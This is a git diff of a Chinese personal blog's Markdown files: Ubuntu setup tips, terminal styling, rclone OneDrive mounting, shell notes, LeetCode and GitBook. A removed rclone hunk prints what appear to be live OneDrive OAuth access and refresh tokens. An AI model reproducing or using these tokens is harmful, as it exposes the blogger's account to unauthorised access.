-echo”enabled = false“>〜/ .config / user-dirs.conf
-
-```
-
-## 18、访问磁盘
-
-```
-sudo apt-get install ntfs-3g
-# 修复不能访问的磁盘
-sudo ntfsfix /dev/sda6
-
-```
-
-## 19、Grub启动图形界面美化
-
-[查看博文](https://tianyijian.github.io/2018/04/05/ubuntu-grub-beautify/)
更新Grub:
-
-```
-sudo update-grub
-sudo grub-install /dev/sda
-
-```
-
-## 20、开机自启动
-
-以`plank`为例
-
-```
-sudo ln -s /usr/share/applications/plank.desktop /etc/xdg/autostart/
-
-```
-
-## 21、Pycharm汉化
-
-[JetBrains 系列软件汉化包](https://github.com/pingfangx/TranslatorX)
-
-## 22、Notepad++配置
-
-[查看博文](https://www.jianshu.com/p/3088175e5f78)
-
-## 23、Windows10 Python配置
-
-[查看博文](https://blog.csdn.net/qiang12qiang12/article/details/53239866)
-
-## 24、MAC OS 主题
-
-```
-sudo apt-get install unity-tweak-tool
-sudo add-apt-repository ppa:noobslab/macbuntu
-
-
-sudo apt-get update
-
-
-sudo apt-get install macbuntu-os-icons-lts-v7
-
-
-sudo apt-get install macbuntu-os-ithemes-lts-v7
-
-
-cd && wget -O Mac.po http://drive.noobslab.com/data/Mac/change-name-on-panel/mac.po
-
-
-cd /usr/share/locale/en/LC_MESSAGES; sudo msgfmt -o unity.mo ~/Mac.po;rm ~/Mac.po;cd
-
-
-wget -O launcher_bfb.png http://drive.noobslab.com/data/Mac/launcher-logo/apple/launcher_bfb.png
-sudo mv launcher_bfb.png /usr/share/unity/icons/
-gsettings set com.canonical.unity-greeter draw-grid false;exit
-
-
-sudo add-apt-repository ppa:noobslab/themes
-sudo apt-get update
-sudo apt-get install macbuntu-os-bscreen-lts-v7
-
-```
-
-## 25、垃圾清理
-
-```
-sudo apt-get autoclean 清理旧版本的软件缓存
-sudo apt-get clean 清理所有软件缓存
-sudo apt-get autoremove 删除系统不再使用的孤立软件
-sudo apt-get install gtkorphan -y清理Linux下孤立的包
-sudo apt-get remove tracker
-
-```
-
-## 26、暴力关机导致蓝屏问题
-
-```
-sudo dpkg --configure -a
-sudo apt-get install xserver-xorg-lts-utopic
-sudo dpkg-reconfigure xserver-xorg-lts-utopic
-reboot
-
-```
-
-## 27、mentohust联网
-
-下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
-
-```
-sudo apt-get install mentohust
-sudo mentohust -k
-sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
-
-```
-
-## 28、彻底卸载Firefox
-
-```
-dpkg --get-selections |grep firefox
-sudo apt-get purge firefox
-sudo apt-get purge firefox-locale-en
-sudo apt-get purge firefox-locale-zh-hans
-sudo apt-get purge unity-scope-firefoxbookmarks
-
-```
-
-## 29、安装chromium
-
-```
-sudo add-apt-repository ppa:a-v-shkop/chromium
-sudo apt-get update
-sudo apt-get install chromium-browser
-
-```
-
-## 30、终端图片显示工具
-
-```
-sudo apt-get install aview
-
-```
-
-```
-asciiview elephant.jpg -driver curses
-
-```
-
-## 31、经典菜单指示器
-
-[ClassicMenu Indicator](http://www.florian-diesch.de/software/classicmenu-indicator/#download)
-
-## 32、文件编码转换
-
-安装`enca、iconv`:
-
-```
-sudo apt-get enca iconv
-
-```
-
-```
-#enca查看文件编码
-enca filename
-#iconv将一个GBK编码的文件转换成UTF-8编码
-enconv -L zh_CN -x UTF-8 filename
-
-```
-
-## 33、字符串logo工具
-1. 安装:
-```
-sudo apt-get install figlet
-
-```
-1. 用法:
-```
-figlet JupyterLab
-
-```
-
-## 34、百度网盘相关
-
-## 35、类似`QQ`的截图工具
-
->
-弃用`deepin-scrot`,请更新为[`deepin-screenshot`](https://pkgs.org/download/deepin-screenshot)
-
-
-```
-wget http://packages.linuxdeepin.com/deepin/pool/main/d/deepin-scrot/deepin-scrot_2.0-0deepin_all.deb
-sudo dpkg -i deepin-scrot_2.0-0deepin_all.deb
-# 修复依赖问题
-sudo apt install -f
-rm deepin-scrot_2.0-0deepin_all.deb
-
-```
-
-然后去`系统设置-键盘-快捷键-自定义快捷键`,之后就可以体验`QQ`那样的截图方式了。
-
-当然`shutter`也很优秀,不过我更喜欢`deepin-scrot`
-
-```
-sudo apt-get install shutter
-
-```
-
-## 36、`dot`画图
-
-```
-sudo apt install graphviz
-
-```
-
-```
-graph demo{
- 1 -- 2
- 2 -- 3
- 3 -- 4
- 1 -- 4
-}
-
-```
-
-```
-dot demo.dot -Tpng -o demo.png
-
-```
-
-## 37、`htop`进程管理工具
-
-可以查看后台进程`PID`,方便`kill`进程.
-
-```
-sudo apt install htop
-
-```
-
-## 38、`fuck`终端工具
-
-*[thefuck](https://github.com/nvbn/thefuck)
-
-```
-sudo pip3 install thefuck
-
-```
-
-## 39、查看电脑完整配置
-
-```
-lshw
-
-```
-
-## 40、标题栏实时显示上下行网速
-
-下载安装运行`indicator-sysmonito`:
-
-```
-sudo apt-get install python3-psutil curl git gir1.2-appindicator3-0.1
-git clone https://github.com/fossfreedom/indicator-sysmonitor.git
-cd indicator-sysmonitor
-sudo make install
-nohup indicator-sysmonitor &
-
-```
-
-## 41、万能解压工具`unar`
-
->
-通杀`7z zip tar rar gz`等等
-
-
-```
-sudo apt-get install unar
-
-```
-
-## 42、安装`aira2`及开机启动配置
diff --git a/blog/ds19991999/原创-- Ubuntu终端美化.md b/blog/ds19991999/原创-- Ubuntu终端美化.md
index 7336bde..7a6ab9e 100644
--- a/blog/ds19991999/原创-- Ubuntu终端美化.md
+++ b/blog/ds19991999/原创-- Ubuntu终端美化.md
@@ -3,9 +3,9 @@
# Ubuntu终端美化
-## 终端美化
+### 终端美化
-### 终端样式
+#### 终端样式
`sudo gedit ~/.bashrc`
@@ -18,7 +18,7 @@ PS1="\[\e[0;1m\]┌─( \[\e[31;1m\]\u\[\e[0;1m\] ) – ( \[\e[36;1m\]\w\[\e[0;1
```
-### Termina
+#### Termina
`sudo apt-get install terminator`
diff --git a/blog/ds19991999/原创-- Windows上挂载OneDrive为本地硬盘.md b/blog/ds19991999/原创-- Windows上挂载OneDrive为本地硬盘.md
index aa34529..c3f19a8 100644
--- a/blog/ds19991999/原创-- Windows上挂载OneDrive为本地硬盘.md
+++ b/blog/ds19991999/原创-- Windows上挂载OneDrive为本地硬盘.md
@@ -7,9 +7,9 @@
本文最新更新地址:[可能需要f…q](https://telegra.ph/Windows%E4%B8%8B%E7%94%A8rclone%E6%8C%82%E8%BD%BDOneDrive%E4%B8%BA%E6%9C%AC%E5%9C%B0%E7%A1%AC%E7%9B%98-01-03)
-### 文章目录
+#### 文章目录
-## 1、rclone下载地址:
+### 1、rclone下载地址:
官网下载:[https://rclone.org/downloads/](https://rclone.org/downloads/)
@@ -19,15 +19,15 @@
另外Windows使用rclone还需要另一个依赖工具`winfsp`,下载地址:[http://www.secfs.net/winfsp/download/](http://www.secfs.net/winfsp/download/)
-## 2、配置环境变量
+### 2、配置环境变量
双击`Path`,把刚才解压到的文件路径新加到`Path`,比喻我的`C:\Software\Tools\rclone-v1.45-windows-amd64`:
-## 3、检查rclone是否配置成功
+### 3、检查rclone是否配置成功
按`win`+`X`,然后按`A`,输入`rclone --version`,如果出现下面的输出则安装成功,否则重复上面步骤。
-## 4、开始配置rclone
+### 4、开始配置rclone
```
C:\WINDOWS\system32>rclone config
@@ -36,175 +36,5 @@ No remotes found - make a new one
n) New remote
s) Set configuration password
q) Quit config
-n/s/q> n
-name> OneDrive
-Type of storage to configure.
-Enter a string value. Press Enter for the default ("").
-Choose a number from below, or type in your own value
- 1 / A stackable unification remote, which can appear to merge the contents of several remotes
- \ "union"
- 2 / Alias for a existing remote
- \ "alias"
- 3 / Amazon Drive
- \ "amazon cloud drive"
- 4 / Amazon S3 Compliant Storage Providers (AWS, Ceph, Dreamhost, IBM COS, Minio)
- \ "s3"
- 5 / Backblaze B2
- \ "b2"
- 6 / Box
- \ "box"
- 7 / Cache a remote
- \ "cache"
- 8 / Dropbox
- \ "dropbox"
- 9 / Encrypt/Decrypt a remote
- \ "crypt"
-10 / FTP Connection
- \ "ftp"
-11 / Google Cloud Storage (this is not Google Drive)
- \ "google cloud storage"
-12 / Google Drive
- \ "drive"
-13 / Hubic
- \ "hubic"
-14 / JottaCloud
- \ "jottacloud"
-15 / Local Disk
- \ "local"
-16 / Mega
- \ "mega"
-17 / Microsoft Azure Blob Storage
- \ "azureblob"
-18 / Microsoft OneDrive
- \ "onedrive"
-19 / OpenDrive
- \ "opendrive"
-20 / Openstack Swift (Rackspace Cloud Files, Memset Memstore, OVH)
- \ "swift"
-21 / Pcloud
- \ "pcloud"
-22 / QingCloud Object Storage
- \ "qingstor"
-23 / SSH/SFTP Connection
- \ "sftp"
-24 / Webdav
- \ "webdav"
-25 / Yandex Disk
- \ "yandex"
-26 / http Connection
- \ "http"
-Storage> 18
-** See help for onedrive backend at: https://rclone.org/onedrive/ **
-
-Microsoft App Client Id
-Leave blank normally.
-Enter a string value. Press Enter for the default ("").
-client_id>
-Microsoft App Client Secret
-Leave blank normally.
-Enter a string value. Press Enter for the default ("").
-client_secret>
-Edit advanced config? (y/n)
-y) Yes
-n) No
-y/n> n
-Remote config
-Use auto config?
- * Say Y if not sure
- * Say N if you are working on a remote or headless machine
-y) Yes
-n) No
-y/n> y
-If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
-Log in and authorize rclone for access
-Waiting for code...
-
+n/s/q
```
-
-此时会浏览器会弹出登录Microsoft账号页面,输入账号密码登陆,点`是`
-
-如果授权成功的话浏览器会出现这个页面
-
-此时终端会提示你继续操作像这样:
-
-因为我是拿个人账号写教程的,所以就选`1`
-
-```
-If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
-Log in and authorize rclone for access
-Waiting for code...
-Got code
-Choose a number from below, or type in an existing value
- 1 / OneDrive Personal or Business
- \ "onedrive"
- 2 / Root Sharepoint site
- \ "sharepoint"
- 3 / Type in driveID
- \ "driveid"
- 4 / Type in SiteID
- \ "siteid"
- 5 / Search a Sharepoint site
- \ "search"
-Your choice> 1
-Found 1 drives, please select the one you want to use:
-0: (personal) id=28acee48ba0a80c9
-Chose drive to use:> 0
-Found drive 'root' of type 'personal', URL: https://onedrive.live.com/?cid=28acee48ba0a80c9
-Is that okay?
-y) Yes
-n) No
-y/n> y
---------------------
-[OneDrive]
-type = onedrive
-token = {"access_token":"EwB4A8l74t6GzbtsBBeBUYAAZr+nsbvDJvpTZnIGTclACszh9PmiR6klQruRt9oBU5AD5ReAZLULrKBbFjgQzmUJHTW1Qg9EI2zCoj+/XMlp4M0V2sraXxwnDZvP/xHtLgMGIF3PLOjlSU0Thh3KCdA4/RIkAALoI7x5ycwXQLuBJ+D/iX3QwJFhVO4or7ogiaVUF0I3oF/A7dOEBJljUwHnBhYeyjOEpCRtoOXIrKl08afJbKtjVDXricLu4aXAIfBYibI7wffxQNxC2AWb5Z6TQ6BQUpUVs2Q48MUYCsDRshbyNhWxZOVlhtjOr3jRGVfDBb6iPuglwVaozSF68RRQbxc+L3QZ7aC4DZgAACLr0PZo0+g2xSAJr0YPcN9jCXJJvW9rHx9mt39W0nLlOUDzHTgi9mNNeAQmxfhFwlMxOr23MMW+Ux2fv7lg1uVdPdMsqsqsqq sqqsSIPsRlNSD66FN/YwFHJ58NVZif+2CO38vFMgA5OCR0xV/AZ3OP4qhLt6eCGR4/AZ2L99UltF7pSNIGP6gkgdlyurEdsLZa/KhApGapSGNyKhhR9Eiwhdbnfksn5flspsFkjWEbu4IJ7I8v7SpNXvTcIErhc4fIR3Kdk+55owCbtpGjzU435RmTZDs0LqU09DLAobhPXAB0MiansnU5vsrlLvudbYm5n9To549gTkPfwCBCjPkr+Xlk8jeJ2prlDyksaXlX0EdukBbA+x0FBaEHmaxExK7w19DjmXXj8MCs1RF3dawbegyLwSnq2+V9M/sqUxVO4uHG+Pw1Bds7L+ysAM+Tcu9BBb7t8/XEpaHzYF5XO8Q9pCOhhcUO8fsI8aA1aupBSbVf0W/AyKsrasUTZiYLgFsz6lYDgF0t5XyD/YGmTHwgutPW32HfjlQ4Nd8g+be+Lllmyyywve28Ynyy7ZitKJkQ4OKRWcBwYyOikJNvG/RZYUXEy6XJtyDJqyaEwE7PVriEPGzPtmT49hixjamUbM42/UTMPxIKTFSJUpQwMgkzQU6hgqo6gPRrbC8XSR5qquRdvcSgfDTs+FaUgssCsxExPzUKqGFYitI9Wh16MjhteeUfLVOruJapGcSRgOOXmwE76qf+bSfN80jrZ+mIH0C","token_type":"Bearer","refresh_token":"MCdzaJTxbvjx0gqccalX3SwZ84Q1D*Hoc2plXP2lNLLyYXeseIDzIzXF9GSKcl35vabYNK1PlNbHkn7zJULI6TEHJkvsMj3vMGG9xODHnZhhoD6r74yYxBC9G72RhIwo2n*qA!rvP7yhGShwH8RC1DxmMhUtmfBO2kpXvkAONhNG8nN9zWaGQDpCIu2!rLrpqH0Bi0amMocXotNGEFHrASLP583x2fpX5Da3VY*AFM18uIpsvg7i0aTj*02e1fAplBUmMzDoo8gd*xqZYYe7eQWaAv1SYuMBFw5TsdYONN5y!ewQcrv9*hhxoLI8xK7VY8VSwG8!9e21N6yLYFFHsTYZMMUOcF0LFEJmo1b29xRkShfuXXk6mxajTCn3IUbOKKP9EW","expiry":"2018-12-14T19:12:44.8939629+08:00"}
-drive_id = 28acce58ba0a81c9
-drive_type = personal
---------------------
-y) Yes this is OK
-e) Edit this remote
-d) Delete this remote
-y/e/d> y
-Current remotes:
-
-Name Type
-==== ====
-OneDrive onedrive
-
-e) Edit existing remote
-n) New remote
-d) Delete remote
-r) Rename remote
-c) Copy remote
-s) Set configuration password
-q) Quit config
-e/n/d/r/c/s/q>
-
-```
-
-到这里已经把`OneDrive`配置好了,选择`q`结束配置,
-
->
-注:配置文件在当前用户家目录
-
-
-## 5、挂载OneDrive为本地硬盘
-
-```
-rclone mount OneDrive:/ H: --cache-dir E:\OneDrive --vfs-cache-mode writes &
-
-```
-
-如果出现:`The service rclone has been started.`则说明挂载成功(看到我很可怜了吧,只有15G的空间,求大佬送号?)。
-
-效果图:
-
-好了,就是这样,更多`rclone`相关的知识自行`Google`。
-
->
-最后说一点,执行上面这条命令退出终端后台挂载程序也会退出,达不到我们的目的,所以在命令后面加一个`&`符号就行了,这样退出终端后台程序照样运行,像这样:
-
-
-其他盘如`GoogleDrive`、`DropBox`等等也可以通过这种方式挂载,这样使得云端文件就像本地文件一样,只要你宽带够大,可以与本地硬盘一样无差别体验。
-
-## 补充
diff --git a/blog/ds19991999/原创-- leetcode15-三数之和.md b/blog/ds19991999/原创-- leetcode15-三数之和.md
index b3c790c..708a14f 100644
--- a/blog/ds19991999/原创-- leetcode15-三数之和.md
+++ b/blog/ds19991999/原创-- leetcode15-三数之和.md
@@ -34,32 +34,32 @@ if nums_len < 3:
```
-注意我们用的是Python语言,所以可以直接**先用内建函数`sort()`排序**,**方便操作。然后可以用一个for循环,两个指针遍历**,时间复杂度也就是
-
+注意我们用的是Python语言,所以可以直接**先用内建函数`sort()`排序**,**方便操作。然后可以用一个for循环,两个指针遍历**,时间复杂度也就是
- o
-
- (
-
-
-
- n
-
-
- 2
+ o
+ (
+
+
+
+ n
+
+
+ 2
+
+
- )
+ )
+
+ o(n^2)
+
- o(n^2)
-
-
o(n2),与之前的三循环减小了不少。了解了这些差不多就可以实现代码了。
```
@@ -109,32 +109,32 @@ class Solution(object):
例如,给定数组 nums = [-1,2,1,-4], 和 target = 1.与 target 最接近的三个数的和为 2. (-1 + 2 + 1 = 2).
-思路一模一样,一个for,加上两个指针,时间复杂度为
-
+思路一模一样,一个for,加上两个指针,时间复杂度为
- O
-
- (
-
-
-
- n
-
-
- 2
+ O
+ (
+
+
+
+ n
+
+
+ 2
+
+
- )
+ )
+
+ O(n^2)
+
- O(n^2)
-
-
O(n2)
```
diff --git a/blog/ds19991999/原创-- shell学习.md b/blog/ds19991999/原创-- shell学习.md
index dff895c..c5cce3d 100644
--- a/blog/ds19991999/原创-- shell学习.md
+++ b/blog/ds19991999/原创-- shell学习.md
@@ -3,9 +3,9 @@
# shell学习
-### 文章目录
+#### 文章目录
-## 一、什么是 shell
+### 一、什么是 shell
“bash” 是 “Bourne Again SHell” 的首字母缩写, 所指的是这样一个事实,bash 是最初 Unix 上由 Steve Bourne 写成 shell 程序 sh 的增强版。能够访问Shell的终端仿真器称为“terminal”。
@@ -13,7 +13,7 @@
许多 Linux 发行版默认保存最后输入的`500`个命令。 按下下箭头按键,先前输入的命令就消失了。鼠标中键拷贝高亮的文本到光标所在的位置。
-### 简单命令
+#### 简单命令
`date;cal;df;free;exit`
@@ -47,11 +47,11 @@ alien@localhost:~$ exit
```
-### 幕后控制台
+#### 幕后控制台
即使终端仿真器没有运行,在后台仍然有几个终端会话运行着。它们叫做虚拟终端 或者是虚拟控制台。在大多数 `Linux` 发行版中,这些终端会话都可以通过按下 `Ctrl-Alt-F1 到 Ctrl-Alt-F6` 访问。当一个会话被访问的时候, 它会显示登录提示框,我们需要输入用户名和密码。要从一个虚拟控制台转换到另一个, 按下 Alt 和 F1-F6(中的一个)。返回图形桌面,按下 `Alt-F7`。
-## 二、文件系统中的跳转
+### 二、文件系统中的跳转
```
pwd - Print name of current working directory
@@ -62,7 +62,7 @@ ls - List directory contents
当我们首次登录系统(或者启动终端仿真器会话)后,当前工作目录是我们的家目录。 每个用户都有他自己的家目录,当用户以普通用户的身份操控系统时,家目录是唯一 允许用户写入文件的地方。
-### 绝对路径
+#### 绝对路径
绝对路径开始于根目录,紧跟着目录树的一个个分支,一直到达所期望的目录或文件。
@@ -73,7 +73,7 @@ alien@localhost:/usr/bin$ pwd
```
-### 相对路径
+#### 相对路径
相对路径开始于工作目录,, 我们在文件系统树中用一对特殊符号来表示相对位置。 这对特殊符号是 “.” (点) 和 “…” (点点)。符号 “.” 指的是**工作目录**,”…” 指的是**工作目录的父目录**。在几乎所有的情况下,你可以省略”./”。它是隐含的。
@@ -85,7 +85,7 @@ alien@localhost:/usr/bin$ pwd
`ls -a` 命令可以列出以 “.” 字符开头的隐藏文件,一些应用程序会把它们的配置文件以隐藏文件的形式放在你的家目录下面,**文件名和命令名是大小写敏感的**。
-## 三、探究操作系统
+### 三、探究操作系统
```
ls – List directory contents
@@ -94,7 +94,7 @@ less – View file contents
```
-### ls
+#### ls
ls 可以列出多个目录:
@@ -128,7 +128,7 @@ $ ls -lt --reverse
```
-### 长格式输出
+#### 长格式输出
```
alien@localhost:~$ ls -l
@@ -160,7 +160,7 @@ drwxr-xr-x 5 alien alien 4096 9月 17 08:10 桌面
|11月 29 2017|上次修改文件的时间和日期。
|examples.desktop|文件名。
-### 确定文件类型
+#### 确定文件类型
```
file filename
@@ -169,7 +169,7 @@ file filename
Linux 中,有个普遍的观念就是“一切皆文件”。
-### 用 less 浏览文件内容
+#### 用 less 浏览文件内容
许多包含系统设置的文件(叫做配置文件),是以文本格式存储的,实际程序(叫做脚本)也是以这种格式存储的。
@@ -195,11 +195,11 @@ less filename
|h|显示帮助屏幕
|q|退出 less 程序
-### less is more(色即是空)
+#### less is more(色即是空)
less 属于”页面调度器”类程序,这些程序允许以**逐页方式**轻松浏览长文本文档。 **more 程序只能向前翻页**,而 less 程序允许前后翻页,此外还有很多其它的特性。
-### Linux 系统中的目录
+#### Linux 系统中的目录
|目录|评论
|------
@@ -228,7 +228,7 @@ less 属于”页面调度器”类程序,这些程序允许以**逐页方式*
|/var|除了/tmp 和/home 目录之外,相对来说,目前我们看到的目录是静态的,这是说, 它们的内容不会改变。/var 目录存放的是动态文件。各种数据库,假脱机文件, 用户邮件等等,都位于在这里。
|/var/log|这个/var/log 目录包含日志文件、各种系统活动的记录。这些文件非常重要,并且 应该时时监测它们。其中最重要的一个文件是/var/log/messages。注意,为了系统安全,在一些系统中, 你必须是超级用户才能查看这些日志文件。
-### 符号链接(软链接)----与Windows一样
+#### 符号链接(软链接)----与Windows一样
```
lrwxrwxrwx 1 root root 11 2007-08-11 07:34 libc.so.6 -> libc-2.6.so
@@ -237,9 +237,9 @@ lrwxrwxrwx 1 root root 11 2007-08-11 07:34 libc.so.6 -> libc-2.6.so
“l”是符号链接(也称为**软链接**或者 symlink ),一个文件被多个文件名所指向,即多个拥有不同文件名的软链接指向同一个文件。上面`libc.so.6`是`libc-2.6.so`的软链接。
-### 硬链接
+#### 硬链接
-## 四、操作文件和目录
+### 四、操作文件和目录
```
cp — 复制文件和目录
@@ -252,7 +252,7 @@ ln — 创建硬链接和符号链接
命令行程序,功能强大灵活,对于 复杂的文件操作任务,使用命令行程序比较容易完成。
-### 通配符
+#### 通配符
|通配符|意义
|------
@@ -288,9 +288,9 @@ ln — 创建硬链接和符号链接
避免使用[A-Z]或 [a-z],用[字符](#%E9%80%9A%E9%85%8D%E7%AC%A6)类来代替它们。
-### mkdir - 创建目录
+#### mkdir - 创建目录
-### cp - 复制文件和目录
+#### cp - 复制文件和目录
```
cp item... directory
@@ -317,7 +317,7 @@ cp item... directory
`cp dir1/* dir2` |使用一个通配符,在目录 dir1 中的所有文件都被复制到目录 dir2 中。 dir2 必须已经存在。
`cp -r dir1 dir2` |复制目录 dir1 中的内容到目录 dir2。如果目录 dir2 不存在, 创建目录 dir2,操作完成后,目录 dir2 中的内容和 dir1 中的一样。 如果目录 dir2 存在,则目录 dir1 (和目录中的内容)将会被复制到 dir2 中。
-### mv - 移动和重命名文件
+#### mv - 移动和重命名文件
与[cp](#cp - 复制文件和目录)基本一样.
@@ -341,7 +341,7 @@ mv item... directory
|mv file1 file2 dir1|移动 file1 和 file2 到目录 dir1 中。dir1 必须已经存在。
|mv dir1 dir2|如果目录 dir2 不存在,创建目录 dir2,并且移动目录 dir1 的内容到 目录 dir2 中,同时删除目录 dir1。如果目录 dir2 存在,移动目录 dir1(及它的内容)到目录 dir2。
-### rm - 删除文件和目录
+#### rm - 删除文件和目录
```
rm item...
@@ -366,7 +366,7 @@ rm item...
一般我们可以先用`ls`测试一下要删除的文件,再进行删除操作,防止误删。
-### ln — 创建链接
+#### ln — 创建链接
ln 命令既可创建硬链接,也可以创建符号链接(软链接)。
@@ -378,7 +378,7 @@ ln -s item link
```
-## 五、使用命令
+### 五、使用命令
```
type – 说明怎样解释一个命令名
@@ -393,9 +393,9 @@ alias – 创建命令别名
命令:可执行程序、内建于 shell 自身的命令、 shell 函数、命令别名
-### 识别命令
+#### 识别命令
-### 使用命令文档
+#### 使用命令文档
```
alien@localhost:~$ help cd
@@ -468,7 +468,7 @@ info 程序读取 info 文件,info 文件是树型结构,分化为各个结
gzip 软件包包括一个特殊的 less 版本,叫做 **zless,zless 可以显示由 gzip 压缩的文本文件的内容**。
-### 用别名(alias)创建你自己的命令
+#### 用别名(alias)创建你自己的命令
>
tips:把多个命令放在同一行上,命令之间 用”;”分开。`command1; command2; command3...`
@@ -511,7 +511,7 @@ bash: type: foo: 未找到
在命令行中定义别名有点儿小问题。当你的 shell 会话结束时,它们会消失,后面会介绍怎样把自己的别名添加到文件中去,每次我们登录系统,这些文件会建立系统环境。
-## 六、重定向 “>” “<”
+### 六、重定向 “>” “<”
I/O 重定向。”I/O”代表输入/输出, 通过这个工具,你可以重定向命令的输入输出,命令的输入来自文件,而输出也存到文件。 也可以把多个命令连接起来组成一个强大的命令管道。
@@ -548,7 +548,7 @@ lrwxrwxrwx 1 root root 8 11月 24 2017 2to3 -> 2to3-2.7
tips:`> ls-output.txt`清空文件内容
-### 重定向标准输出和错误到同一个文件
+#### 重定向标准输出和错误到同一个文件
一个程序可以在几个编号的文件流中的任一个上产生输出。这些文件流的前 三个称作标准输入、输出和错误,shell 内部分别将其称为文件描述符0、1和2。
@@ -568,7 +568,7 @@ ls: 无法访问'/bin/usr': 没有那个文件或目录
现在的`bash`版本提供了一种新方法`&>`:`ls -l /bin/usr &> ls-output.txt`
-### 处理不需要的输出
+#### 处理不需要的输出
隐瞒命令错误信息,我们这样做:
@@ -580,7 +580,7 @@ alien@localhost:~$
其中`/dev/null`的特殊文件, 是系统设备,叫做**位存储桶**,它可以接受输入,并且对输入不做任何处理。
-### 标准输入重定向
+#### 标准输入重定向
**cat 命令读取一个或多个文件,然后复制它们到标准输出。**
@@ -602,7 +602,7 @@ The quick brown fox jumped over the lazy dog.
```
-### 管道线`|`
+#### 管道线`|`
`command1 | command2`一个命令的标准输出可以通过管道送至另一个命令的标准输入:`$ ls -l /usr/bin | less`
@@ -628,7 +628,7 @@ uniq 从标准输入或单个文件名参数接受数据有序列表默认情况
如果想看到重复的数据列表,加上”-d”选项,就像这样:`ls /bin /usr/bin | sort | uniq -d | less`
-### `wc--grep--head--tail--tee`
+#### `wc--grep--head--tail--tee`
**wc - 打印行数、字数(单词数)和字节数**,`-l`选项限制命令输出只能 报道行数。
@@ -703,14 +703,14 @@ alien@localhost:~$ cat ls.txt
```
-## 七、走进Shell
+### 七、走进Shell
```
echo - 显示一行文本
```
-### echo展开
+#### echo展开
**(字符)展开:**
@@ -823,7 +823,7 @@ alien@localhost:~$ printenv | less
```
-### 命令替换
+#### 命令替换
命令替换允许我们把一个命令的输出作为一个展开模式来使用:
@@ -840,7 +840,7 @@ alien@localhost:~$ file $(ls /usr/bin/* | grep zip)
```
-### 引用–控制展开
+#### 引用–控制展开
`\`是转义字符,经常在双引号中使用转义字符,来有选择地阻止展开。
@@ -915,7 +915,7 @@ alien@localhost:~$ echo "$(cal)"
echo 命令带上 ‘-e’ 选项,能够解释转义序列。**展开和引用**在Linux系统中使用非常频繁,这是shell的重要特性 。
-## 八、键盘高级操作技巧
+### 八、键盘高级操作技巧
```
clear - 清空屏幕
@@ -923,7 +923,7 @@ history - 显示历史列表内容
```
-### 快捷键
+#### 快捷键
**移动光标:**
@@ -991,7 +991,7 @@ alien@localhost:~$ history | grep /usr/bin
|!string|重复最近历史列表中,以这个字符串开头的命令。
|!?string|重复最近历史列表中,包含这个字符串的命令。
-## 九、权限
+### 九、权限
```
id – 显示用户身份号
@@ -1040,7 +1040,7 @@ alien@localhost:~$ ls -l foo.txt
|w|允许写入文件内容或截断文件。但是不允许对文件进行重命名或删除,重命名或删除是由目录的属性决定的。|允许在目录下新建、删除或重命名文件,前提是目录必须设置了可执行属性(x)。
|x|允许将文件作为程序来执行,使用脚本语言编写的程序必须设置为可读才能被执行。|允许进入目录,例如:cd directory 。
-### chmod - 更改文件权限
+#### chmod - 更改文件权限
chmod 命令支持两种不同的方法来改变文件模式:八进制数字表示法或 符号表示法。
@@ -1080,7 +1080,7 @@ alien@localhost:~$ ls -l foo.txt
|o|"others"的简写,意思是其他所有的人。
|a|“all"的简写,是"u”, "g"和“o”三者的联合。
-### umask - 设置默认权限
+#### umask - 设置默认权限
|Original file mode|— rw- rw- rw-
|------
@@ -1089,7 +1089,7 @@ alien@localhost:~$ ls -l foo.txt
掩码是八进制,转换为二进制后,若出现一个数字1,则删除文件模式中和这个1在相同位置的属性
-### 更改身份
+#### 更改身份
```
注销系统并以其他用户身份重新登录系统。
@@ -1128,7 +1128,7 @@ alien@localhost:~$ sudo -l
```
-### chown - 更改文件所有者和用户组
+#### chown - 更改文件所有者和用户组
```
alien@localhost:~$ su
@@ -1146,11 +1146,11 @@ root@localhost:/home/alien# chown [owner][:[group]] file...
|:admins|把文件用户组改为组 admins,文件所有者不变。
|bob:|文件所有者改为用户 bob,文件用户组改为用户 bob 登录系统时所属的用户组。
-### 更改用户密码
+#### 更改用户密码
`passwd [user]`
-## 十、进程
+### 十、进程
```
ps – 报告当前进程快照
@@ -1164,7 +1164,7 @@ shutdown – 关机或重启系统
```
-### ps查看进程
+#### ps查看进程
```
alien@localhost:~$ ps
@@ -1216,7 +1216,7 @@ root 2 0.0 0.0 0 0 ? S 11:25 0:00 [kthreadd]
RSS |进程占用的物理内存的大小,以千字节为单位。
START |进程启动的时间。若它的值超过24小时,则用天表示。
-### top动态查看进程
+#### top动态查看进程
```
# 默认情况下,每三秒钟更新一次,top 显示结果由两部分组成: 最上面是系统概要,下面是进程列表,以 CPU 的使用率排序。
@@ -1255,7 +1255,7 @@ KiB Swap: 4102140 total, 3583672 free, 518468 used. 1768020 avail Mem
top 程序接受一系列从键盘输入的命令。两个最有趣的命令是 h 和 q。h,显示程序的帮助屏幕,q, 退出 top 程序。
-### 控制进程
+#### 控制进程
```
alien@localhost:~$ xlogo &
@@ -1335,7 +1335,7 @@ alien@localhost:~$ kill -l
```
-### killall给多个进程发送信号
+#### killall给多个进程发送信号
```
killall [-u user] [-signal] name...
@@ -1352,7 +1352,7 @@ alien@localhost:~$
```
-### 更多和进程相关的命令
+#### 更多和进程相关的命令
|命令名|命令描述
|------
diff --git a/blog/ds19991999/原创-- ✍GitBook高级配置.md b/blog/ds19991999/原创-- ✍GitBook高级配置.md
index 4f860f3..4f5c2ba 100644
--- a/blog/ds19991999/原创-- ✍GitBook高级配置.md
+++ b/blog/ds19991999/原创-- ✍GitBook高级配置.md
@@ -8,15 +8,15 @@
- [gitbook-use](https://github.com/zhangjikai/gitbook-use/tree/master)- [使用GitBook打造自己的出版平台](https://blog.csdn.net/ds19991999/article/details/81275458)
-## 安装?
+### 安装?
-## 常用命令?
+### 常用命令?
>
- `gitbook-cli` 和 `gitbook` 是两个软件;- `gitbook-cli` 会将下载的 gitbook 的不同版本放到 `~/.gitbook`中, 可以通过设置`GITBOOK_DIR`环境变量来指定另外的文件夹.
-## 目录结构?
+### 目录结构?
```
.
@@ -31,7 +31,7 @@
└── something.md
```
-### Summary?
+#### Summary?
**示例1:**以后会经常用到的
@@ -83,7 +83,7 @@
* [Better tools for authors](better_tools.md)
```
-### Glossary?
+#### Glossary?
`GLOSSARY.md`。该文件主要存储词汇信息,如果在其他页面中出现了该文件中的词汇,鼠标放到词汇上会给出词汇示意。
